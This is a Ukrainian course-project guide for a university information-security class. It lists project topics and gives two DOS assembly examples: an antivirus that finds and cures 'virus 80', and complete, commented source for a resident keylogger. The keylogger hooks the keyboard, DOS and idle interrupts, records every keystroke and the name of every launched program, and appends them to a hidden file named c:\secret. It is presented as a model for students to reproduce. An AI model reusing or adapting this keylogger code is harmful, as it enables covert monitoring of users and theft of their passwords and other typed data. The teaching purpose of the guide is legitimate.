Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Metod_vkaz_KR_4.doc
Скачиваний:
1
Добавлен:
01.03.2025
Размер:
699.9 Кб
Скачать

4. Тематика курсової роботи

Тематика альтернативних курсових робіт обирається студентами за наступними темами:

  1. Антивірусні програми.

  2. Програмні закладки.

  3. Програмне забезпечення для криптографічного захисту програм.

  4. Програми захисту від копіювання.

  5. Програми захисту від дизасемблювання.

  6. Програмні ідентифікаційні мітки.

  7. Програмні моделі генераторів псевдовипадкових чисел.

  8. Програми вибору засобів захисту інформації, що забезпечують заданий рівень безпеки.

  9. Програми визначення ризику.

  10. Програми визначення рівня безпеки.

За погодженням з викладачем є можливість запропонувати свою тему.

Далі студент додатково вивчає матеріали стосовно обраної теми і затверджує остаточний варіант курсової роботи у викладача за наступною формою.

Варіант курсової роботи №

Тема: _______________________________________________________________

назва теми

Спеціальна частина:________________________________________________________

методи, засоби, особливості, мова програмування

______________________________________________________________

______________________________________________________________

______________

особистий підпис

_____________

підпис викладача

Курсова робота може бути комплексною (за одною темою) і реалізовувати частину загального розробляємого програмного забезпечення.

5. Приклади варіантів виконання курсової роботи

Варіант №1

Тема: антивірусна програма.

Спеціальна частина: вилучення з пам'яті та файлів резидентного вірусу 80. Мова програмування – асемблер.

В прикладі 6 подається програма відповідно до варіанту №1.

Приклад 6.

Перед вами вихідний текст антивіруса на вірус 80

. mode

tiny

. code

org

100h

start:

mov

lea

call

call

lea

mov

mov

sp, 100h

dx, mes

print

checkMem

dx, mymask

cx, 27h

ah, 4Eh

;;;;;;;

Переустановка стеку

dx вказує на сповіщення

Друк сповіщення mes

Перевірка пам'яті

dx вказує на маску для пошуку

У cx атрибут шуканих файлів

Пошук першого файлу

int

21h

jc

exit

;

Вихід з програми

open:

mov

dx, 9Eh

;;

За адресою 9Eh зберігається ім'я знайденого файлу

mov

ax, 3D40h

;

Відкрити для читання

int

21h

jc

findNext

;

Помилка відкриття

xchg

ax, bx

;

bx = ax, в bx номер файла

lea

dx, buf

;

dx вказує на буфер

mov

cx, 100

;

cx = 100

mov

ah, 3Fh

;

3F прочитати cx байт

int

call

jne

21h

checkVir

close

;;

Перевірка сигнатури

Перехід, якщо не знайдена

mov

dx, 9Eh

;

dx вказує на ім'я файла

call

print

;

Виведення ім'я файла

call

cure

;;

Підпрограма лікування вірусу

close:

mov

int

ah, 3Eh

21h

;

Закриття файла

findNext:

mov

int

ah, 4Fh

21h

;

Пошук наступного файла

jnc

open

;

Перехід на перевірку

exit:

lea

dx, mesBy

;

dx вказує на сповіщення mesBy

call

print

;

Друк сповіщення

int

20h

;

Завершення програми

; підпрограма пошуку сигнатури вірусу

checkVir:

mov

di, dx

;

di вказує на buf

lea

si, sigVir

;

si вказує на сигнатуру

lodsw

;

В ax додаткове зміщення

add

di, ax

;

di = di + ax

lodsb

;

У al довжина сигнатури

mov

cl, al

;

cl = al

rep

cmpsb

;

Порівняння послідовності байтів ds:[si] і es:[di]

ret

; підпрограма перевірки пам'яті

checkMem:

push

ax es

;

Збереження ax і es

xor

ax, ax

;

ax = 0

mov

es, ax

;

es = 0

mov

di, 2DBh

;

di = 2DBh

mov

ax, 0FC80h

;

ax = 0FC80h

scasw

;

Порівняння ax з es:[di]

jne

memOk

;

пам'ять - чиста

dec

di

;

di = di-1

dec

di

;

di = di-1

mov

ax, 022EBh

;

jmp short $+24h

stosw

;

Передача коду операції

lea

dx, mesMemOk

;

dx вказує на mesMemOk

call

print

;

Друк рядка

memOk:

pop

es ax

;

Відновлення es і ax

ret

; підпрограма видалення вірусу

cure:

lea

dx, mesInf

;

dx вказує на mesInf

call

print

;

друк сповіщення

xor

ax, ax

;

ax = 0

int

16h

;

Очікування натиснення клавіші

cmp

al, 0Dh

;

це Enter?

je

cureOk

;

так

cmp

al,' '

;

це Space?

je

cureOk

;

так

cmp

al,'y'

;

це 'y'

je

cureOk

;

так

call

print0D0A

;

Пропуск рядка

clc

ret

;

Ознака чистого файла

cureOk:

mov

ah, 3Eh

;

Закриття файла, (номер в bx)

int

21h

mov

dx, 9Eh

;

dx вказує на ім'я файла

mov

ax, 4301h

;

Встановлення нового атрибута в cx

int

21h

jc

outErr

;

Перехід при помилці

mov

ax, 3D42h

;

Відкриття файла для читання/запису

int

21h

jc

outErr

;

Перехід при помилці

xchg

ax, bx

;

Номер файла в ax, bx = ax

lodsw

;

Завантаження із сигнатури довжини вірусу

xchg

dx, ax

;

dx = ax

xor

cx, cx

;

cx = 0

mov

ax, 4200h

;;

Переміщення файлового покажчика на довжину віруса

int

21h

lea

dx, buf

;

dx вказує на buf

mov

cx, 65000

;

cx = 65000

mov

ah, 3Fh

;

Зчитування cx байт за адресою ds:dx

int

21h

push

ax dx

;;

Запам'ятовування ax і dx, в ax - довжини файлу-жертви

xor

cx, cx

;

cx = 0

mov

ax, 4200h

;

ax = 4200h

cwd

;

dx = 0

int

21h

;;

Переміщення файлового покажчика в початок файла

pop

dx cx

;

cx = ax

mov

ah, 40h

;

Запис cx байта за адресою ds:dx

int

21h

jc

outErr

;

Перехід при помилці

xor

cx, cx

;

cx = 0

mov

ah, 40h

;

Обрізання файла до кінця

int

21h

lea

dx, mesOk

;

Сповіщення про лікування файла

call

print

;

Друк

stc

;

Ознака - файл був заражений

ret

outErr:

lea

dx, mesErr

;

Сповіщення про помилку

call

print

;

Друк

clc

;

Зупинка сканування

ret

; Переклад підпрограми курсором на рядок вниз

print0D0A:

push

ax

mov

ax, 0E0Dh

;

Функція 0Eh, символ 0Dh

int

10h

;

Повернення каретки

mov

ax, 0E0Ah

;

Функція 0Eh, символ 0Ah

int

10h

;

Переклад рядка

pop

ax

ret

; Підпрограма, що друкує рядок

print:

push

ax cx si

mov

si, dx

nextChar:

lodsb

or

al, al

je

endPrint

mov

ah, 0Eh

int

10h

jmp

nextChar

endPrint:

pop

si cx ax

ret

mes

db 13,' Looking for 80 virus. ..', 13,10,0

mesMemOk

db 13,' Virus 80 in memory.', 7,' CURED

!', 13,10,0

mesBy

db 13,' Scanning complete.', 0

mesInf

db ' - infected with 80 virus. Cure it (у/n)? ', 0

mesOk

db ' REPAIRED !', 13,10,0

mesErr

db ' Dos error.', 7,13,10,0

mymask

db '*.*', 0

sigVir

dw 10h

db 10, 0A4h, 0BEh, 84h, 00h, 56h, 26h, 0A5h, 26h, 0A5h, 5Fh

dw 80

buf:

end

start

Варіант №2

Тема: програмна закладка.

Спеціальна частина: збереження кодів всіх натиснутих клавіш та імен всіх програм, що виконувались в файлі c:\secret. Мова програмування- асемблер.

В прикладі 7 подається програма відповідно до варіанту №2.

Приклад 7.

Перед вами програмна закладка, яка зберігає всі натискаємі клавіші та імена всіх програм, що запускаються в файлі ' с:\secret'.

. model tiny

;

;

Оголошення крихітної моделі пам'яті (для файлів типу. COM).

. code

;

Оголошення сегмента коду

org 100h

;

Зміщення програмного лічильника для файлів типу. COM

start:

;

Мітка початку коду програми

jmp init

;

Перехід на установку резидентної частини програми

point dw 0

;

;

Змінна зберігає кількість натиснених клавіш і одночасно є покажчиком на останній символ + 1

bufSize equ 300

;

Розмір буфера в байтах

buf db bufsize dup (0)

;

Буфер для тимчасового зберігання крадених даних

;;

Новий обробник дев'ятого переривання. Воно викликається щоразу, коли натискається клавіша на клавіатурі

int9:

;

Мітка початку нового обробника дев'ятого переривання

pushf

;

;

;

Збереження прапорів для коректного виконання команди iret, що знаходиться в кінці справжнього обробника 9-го переривання

db 9Ah

;

Код команди call far seg:ofs

off9 dw?

;

Зміщення для старого обробника int 9h

seg9 dw?

;

Сегмент для старого обробника int 9h

push ax bx

mov ah, 1

;;

Збереження регістрів, що використовуються в стеку ah = 1

int 16h

;;;

Функція 1 16-го переривання повертає zf=0, якщо буфер клавіатури пустий і zf=1: якщо буфер клавіатури не пустий, а в al міститься ASCII-код натисненої клавіші

jz popRegs

;

Перехід, якщо була натиснена клавіша перемикач

or al, al

;

Це розширений код?

je popRegs

;

Якщо так, то - вихід

mov bx, cs:point

;

У bx - лічильник клавіш, вміщених в буфер

cmp bx, bufSize

;

Перевірка на вихід за діапазон

jae popRegs

;

якщо bx >= bufSize, то - вихід

mov cs:[bx+buf], al

;

Розміщення символа в буфері

inc bx

;

Збільшення лічильника на 1

cmp al, 0Dh

;

Перевірка на клавішу [Enter]

jne popArea

;;

Вихід, якщо була натиснена інша клавіша

mov

cs:[bx+buf], 0Ah

;;

Доповнення буфера символом 0Ah

inc bx

;

Збільшення покажчика буфера

popArea:

;

Вихід з нашого обробника 9-го переривання

mov cs:point, bx

;

Запам'ятовування нового значення лічильника

popRegs:

;;

Другий вихід з обробника 9-го переривання

pop bx ax

;

Відновлення регістрів зі стека

iret

;

Команда повернення з переривання

path db ' з:\secret', 10 dup (0)

;;

Шлях до файла, що містить ASCII-коди натискуємих клавіш

int21:

;

Мітка початку нового обробника 21-го переривання

cmp ah, 4Bh

;

Виклик функції запуску файла?

je storeName

;

Якщо так, то перехід на збереження імені

exitInt21:

;

Вихід з нашого обробника 21-го переривання

db 0EAh

;

Код команди jmp far seg:ofs

off21 dw?

;

Зміщення старого обробника int 21

seg21 dw?

;

Сегмент старого обробника int 21

storeName:

;;

Збереження імені програми, що запускається в буфері

Ім'я задається в ds:dx

pushf

;

Збереження регістра флагів

push ax si di es

;

Збереження регістрів, що використовуються

push cs

;

es = cs

pop es

;

mov si, dx

;

si = dx

mov di, cs:point

;

У di міститься лічильник символів в буфері

cmp di, offset buf

;

Перевірка на переповнення буфера

jae noStoreN

;

Перехід, якщо буфер переповнений

lea di, [di+buf]

;

;

di = di+buf, тепер di вказує на область пам'яті, куди треба вмістити ім'я програми, що запускається

mov ax, 0A0Dh

;

ax = 0A0Dh

cld

;

Очищення флагу df

stosw

;

es:[di] = ax, di = di +2

moreC:

;

Мітка для організації циклів

lodsb

;

al = ds:[si], si = si + 1

or al, al

;

Перевірка al на 0

je endStoreN

;

Якщо al = 0, то закінчити введення

stosb

;

es:[di] = al, di = di + 1

jmp moreC

;

Перейти на мітку moreC

endStoreN:

;;

Мітка завершення збереження імені запускаючого файлу

mov ax, 0A0Dh

;

ax = 0A0Dh

stosw

;

es:[di] = ax

sub di, offset buf

;;

di = di - buf, т. е. тепер di містить число, вказуюче на кількість байт в буфері

mov cs:point, di

;

Запам'ятовування di

noStoreN:

pop es di si ax

;

Відновлення регістрів, що використовуються

popf

;

Відновлення регістра флагів

jmp exitInt21

;

Перехід на справжній обробник int 21

int28:

;

Мітка початку нового обробника 28-го переривання

pushf

;

;

Збереження регістра флагів для правильного виконання команди iret

db 9Ah

;

Код команди cal far seg:ofs

off28 dw?

;

Зміщення старого обробника int 28

seg28 dw?

;

Сегмент старого обробника int 28

cmp cs:point, bufSize-100

;

Перевірка point < bufSize-100

jb notSave

;

Якщо так, то не записувати вміст буфера

push ax bx cx dx ds

;

;

Збереження регістрів, що використовуються

push cs

;

ds = cs

pop ds

lea dx, path

;

ds:dx вказує на ім'я файла

mov cx, 2

;

атрибут hidden (прихований)

mov ah, 5Bh

;;

Створення функцією 5Bh нового файла, якщо той не існував

int 21h

jnc newFile

;

Так, файл не існував

mov ax, 3D01h

;

Функція 3D01h відкриває файл для запису

int 21h

jc popArea1

;

Вихід у разі помилки

newFile:

xchg ax, bx

;

bx = ax, тепер в bx номер файла

xor cx, cx

;

cx = 0

xor dx, dx

;

dx = 0

mov ax, 4202h

;;

Переміщення функцією 4202h файлового покажчика на кінець файла (для додання)

int 21h

lea dx, buf

;

ds:dx вказують на буфер

mov cx, point

;

У cx кількість байт в буфері

mov ah, 40h

;

Запис cx байт

int 21h

mov point, 0

;

Обнулення лічильника

mov ah, 3Eh

;

Закриття файла

int 21h

popArea1:

pop ds dx cx bx ax

;

Відновлення регістрів, що використовуються

notSave:

iret

;

Вихід з переривання

init:

;

Мітка ініціалізації програми

mov ax, 3509h

;;

Повернення в es:bx - сегмент і зміщення 9-го вектора переривання

int 21h

mov off9, bx

;

Збереження зміщення int 9

mov seg9, es

;

Збереження сегмента int 9

lea dx, int9

;;

ds:dx вказують на новий обробник 9-го вектора переривання

mov ah, 25h

;

Встановлення 9-го вектора

int 21h

;Проведення аналогічної операції для 28-го і 21-го; векторів

mov ax, 3528h

int 21h

mov off28, bx

mov seg28, es

lea dx, int28

mov ah, 25h

int 21h

mov ax, 3521h

int 21h

mov off21, bx

mov seg21, es

lea dx, int21

mov ah, 25h

int 21h

push cs

;

es = cs

pop es

lea bx, init

;

bx вказує на кінець резидентної частини програми

mov cl, 4

;

cl = 4

shr bx, cl

;

bx = bx << 4

inc bx

;

bx = bx + 1

mov ah, 4Ah

;;

Функція 4Ah означає змінити розмір MCB блоку за адресою ES:0 на BX параграфів

int 21h

mov ax, ds

;

ax = ds

dec ax

;

ax = ax - 1

mov ds, ax

;

ds = ax

mov word ptr ds:1,70h

;

Змінимо власника блоку

int 20h

;

Нестандартне завершення резидентно

end start

;

Директива асемблеру завершити програму.

Звіт за результатами виконання курсової роботи подається на аркушах формату А4 та в електронній версії.

Всі наведені програми повинні супроводжуватися достатньою для читання роботи кількістю коментаріїв.

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]